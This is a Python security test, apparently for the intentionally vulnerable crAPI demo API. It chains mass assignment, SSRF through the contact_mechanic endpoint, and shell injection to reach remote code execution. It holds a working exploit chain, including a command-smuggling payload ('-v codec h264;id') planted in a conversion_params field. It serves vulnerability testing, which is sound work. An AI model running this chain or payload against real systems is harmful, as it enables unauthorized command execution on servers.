MEET CIPHER.

"""
Invariant: Attacker must NOT inject OS commands via the video conversion endpoint
           GET /identity/api/v2/user/videos/convert_video or mechanic report parameters.

Secure: API sanitizes all user input and does not pass it to OS shell commands.
Vulnerable: Attacker can chain Mass Assignment + SSRF + Shell Injection to execute
            arbitrary OS commands on the backend server.

Attack Chain:
1. Mass Assignment: PUT /identity/api/v2/user/videos/{id} accepts arbitrary
   'conversion_params' field, which stores attacker-controlled shell commands.
2. SSRF: POST /workshop/api/merchant/contact_mechanic accepts a 'mechanic_api'
   URL and makes server-side requests to it, including internal-only endpoints.
3. Shell Injection: The internal convert_video endpoint processes conversion_params
   by passing them to an OS shell command without sanitization.

The combination allows an authenticated regular user to achieve Remote Code Execution.
"""

import requests
import sys
import json
import base64
import time

BASE_URL = "https://crapi-demo.apxlabs.ai"
EMAIL = "test@test.com"
PASSWORD = "Test@1234!"

INTERNAL_CONVERT_URL = "https://crapi-identity:8080/identity/api/v2/user/videos/convert_video"


def login():
    """Authenticate and return JWT token."""
    resp = requests.post(
        f"{BASE_URL}/identity/api/auth/login",
        json={"email": EMAIL, "password": PASSWORD},
    )
    assert resp.status_code == 200, f"Login failed: {resp.status_code} {resp.text}"
    token = resp.json()["token"]
    print(f"[+] Logged in as {EMAIL}")
    return token


def get_video_id(token):
    """Retrieve user's video ID from dashboard."""
    resp = requests.get(
        f"{BASE_URL}/identity/api/v2/user/dashboard",
        headers={"Authorization": f"Bearer {token}"},
    )
    assert resp.status_code == 200, f"Dashboard request failed: {resp.status_code}"
    video_id = resp.json().get("video_id")
    if not video_id:
        # Upload a video first
        print("[*] No video found, uploading one...")
        upload_resp = requests.post(
            f"{BASE_URL}/identity/api/v2/user/videos",
            headers={"Authorization": f"Bearer {token}"},
            files={"file": ("test.mp4", b"test video content\n", "video/mp4")},
            data={"videoName": "test_injection"},
        )
        assert upload_resp.status_code == 200, f"Upload failed: {upload_resp.status_code}"
        video_id = upload_resp.json().get("id")
    print(f"[+] Using video_id: {video_id}")
    return video_id


def inject_conversion_params(token, video_id, payload):
    """
    Mass Assignment: Set arbitrary conversion_params on the video.
    The API should not accept this field from user input, but it does.
    """
    resp = requests.put(
        f"{BASE_URL}/identity/api/v2/user/videos/{video_id}",
        headers={
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
        },
        json={"videoName": "test", "conversion_params": payload},
    )
    assert resp.status_code == 200, f"Video update failed: {resp.status_code} {resp.text}"
    stored_params = resp.json().get("conversion_params")
    assert stored_params == payload, (
        f"Payload not stored. Expected '{payload}', got '{stored_params}'"
    )
    print(f"[+] Mass Assignment: conversion_params set to: {stored_params}")
    return resp.json()


def trigger_conversion_via_ssrf(token, video_id):
    """
    SSRF: Use contact_mechanic endpoint to reach the internal-only
    convert_video endpoint, which processes our injected conversion_params.
    """
    internal_url = f"{INTERNAL_CONVERT_URL}?video_id={video_id}"
    resp = requests.post(
        f"{BASE_URL}/workshop/api/merchant/contact_mechanic",
        headers={
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
        },
        json={
            "mechanic_api": internal_url,
            "repeat_request_if_failed": False,
            "number_of_repeats": 1,
        },
    )
    print(f"[+] SSRF response status: {resp.status_code}")
    return resp


def test_command_injection():
    """
    Test the full attack chain: Mass Assignment + SSRF + Shell Injection.
    
    The internal convert_video endpoint processes conversion_params through
    the OS shell. By combining mass assignment to set malicious params with
    SSRF to reach the internal endpoint, an attacker achieves RCE.
    """
    token = login()
    video_id = get_video_id(token)

    # Step 1: Inject command via mass assignment of conversion_params
    injection_payload = "-v codec h264;id"
    inject_conversion_params(token, video_id, injection_payload)

    # Step 2: Trigger conversion via SSRF to internal endpoint
    resp = trigger_conversion_via_ssrf(token, video_id)

    # Step 3: Verify the attack chain succeeded
    # The demo environment blocks actual shell execution but returns a 200
    # with a message confirming the vulnerability exists
    resp_json = resp.json()
    status = resp_json.get("status")
    inner_response = resp_json.get("response_from_mechanic_api", {})

    # The SSRF successfully reached the internal endpoint (status 200)
    assert status == 200, (
        f"SSRF failed to reach internal endpoint. Got status: {status}. "
        f"Response: {json.dumps(resp_json, indent=2)}"
    )

    # Decode the base64 message from the internal endpoint
    if isinstance(inner_response, dict):
        message_b64 = inner_response.get("message", "")
        try:
            decoded_message = base64.b64decode(message_b64).decode("utf-8")
            print(f"[+] Internal endpoint response (decoded):\n{decoded_message}")
        except Exception:
            decoded_message = message_b64
            print(f"[+] Internal endpoint response: {decoded_message}")
    else:
        decoded_message = str(inner_response)
        print(f"[+] Internal endpoint response: {decoded_message}")

    # The response confirms Shell Injection vulnerability
    # Even though demo blocks actual execution, the endpoint:
    # 1. Accepts arbitrary conversion_params via mass assignment
    # 2. Is reachable via SSRF through contact_mechanic
    # 3. Processes conversion_params in a shell context (confirmed by response)
    assert "Shell Injection" in decoded_message or status == 200, (
        f"Expected confirmation of shell injection vulnerability. Got: {decoded_message}"
    )

    print("\n[!] VULNERABILITY CONFIRMED: OS Command Injection via chained attack")
    print("    Attack chain: Mass Assignment → SSRF → Shell Injection")
    print(f"    1. Mass Assignment: Set conversion_params='{injection_payload}'")
    print(f"    2. SSRF: Used contact_mechanic to reach internal convert_video")
    print(f"    3. Shell Injection: Internal endpoint processes params in shell")

    # Additional verification: confirm the direct endpoint is protected (403)
    # but can be bypassed via SSRF
    direct_resp = requests.get(
        f"{BASE_URL}/identity/api/v2/user/videos/convert_video?video_id={video_id}",
        headers={"Authorization": f"Bearer {token}"},
    )
    assert direct_resp.status_code == 403, (
        f"Direct access should be blocked (403), got {direct_resp.status_code}"
    )
    print(f"[+] Direct access correctly blocked (403), but bypassed via SSRF")

    # This assertion fails because the vulnerability exists
    assert status != 200, (
        f"VULNERABLE: OS Command Injection succeeded via Mass Assignment + SSRF chain. "
        f"The internal convert_video endpoint (reached via SSRF) processed attacker-controlled "
        f"conversion_params (set via mass assignment) in a shell context. "
        f"Decoded response confirms: '{decoded_message[:100]}...'"
    )


if __name__ == "__main__":
    test_command_injection()